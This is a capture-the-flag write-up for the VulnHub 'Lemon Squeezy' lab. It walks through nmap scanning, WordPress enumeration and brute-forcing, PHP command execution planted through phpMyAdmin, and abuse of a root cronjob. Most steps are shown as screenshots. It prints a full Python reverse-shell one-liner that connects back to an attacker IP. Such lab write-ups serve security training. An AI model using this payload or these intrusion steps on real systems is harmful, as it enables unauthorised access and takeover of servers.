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87 lines
No EOL
2.5 KiB
Markdown
87 lines
No EOL
2.5 KiB
Markdown
# VulnHub-Lemon Squeezy
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## NMAP
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```
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nmap -sC -sV 172.16.6.128
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Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-25 05:47 PKT
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Nmap scan report for 172.16.6.128
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Host is up (0.00026s latency).
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Not shown: 999 closed ports
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PORT STATE SERVICE VERSION
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80/tcp open http Apache httpd 2.4.25 ((Debian))
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|_http-server-header: Apache/2.4.25 (Debian)
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|_http-title: Apache2 Debian Default Page: It works
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MAC Address: 00:0C:29:BF:8A:DB (VMware)
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds
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```
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## PORT 80
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<img src="https://imgur.com/3e3R2a3.png"/>
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Running gobuster
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<img src="https://imgur.com/ohut5DK.png"/>
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We see that there's a wordpress directory and if you visit it css would not be rendered properly because it is using the domain name `lemonsqueezy` so put it in the `/etc/hosts` file
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<img src="https://imgur.com/DNCzW3g.png"/>
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<img src="https://imgur.com/TlT6WQg.png"/>
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Since this is a wordpress site we can use wpscan to look for users
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<img src="https://imgur.com/G26pGbt.png"/>
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<img src="https://imgur.com/QOZdxRN.png"/>
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Bruteforcing against these users
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<img src="https://imgur.com/74gtYPG.png"/>
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<img src="https://imgur.com/joxGmka.png"/>
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<img src="https://imgur.com/rgNaNQf.png"/>
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<img src="https://imgur.com/ZGbCvaa.png"/>
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<img src="https://imgur.com/S0UFhtb.png"/>
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<img src="https://imgur.com/Gt60xxp.png"/>
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We know that there's another usernamed `lemon` maybe this is his passowrd for wordpress or phpmyadmin so let's try logging in with this
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<img src="https://imgur.com/74oyBnN.png"/>
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This was the password for orange to phpmyadmin
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Insert a simple GET paramter php code to execute system commands through SQL
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<img src="https://imgur.com/lFP3V6t.png"/>
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<img src="https://imgur.com/14vCJfQ.png"/>
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```
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python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.43.129",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
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```
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Through this payload we get a reverse shell and I stabilized it with by spawning a shell with python also I looked at cronjobs running and there is a script running as root
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<img src="https://imgur.com/qzGtQZd.png"/>
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<img src="https://imgur.com/Qllpyik.png"/>
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<img src="https://imgur.com/SuBS4mO.png"/>
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This didnt work so I used the python reverse shell payload again
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<img src="https://imgur.com/koX6v9M.png"/>
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<img src="https://imgur.com/sQVe4Z7.png"/> |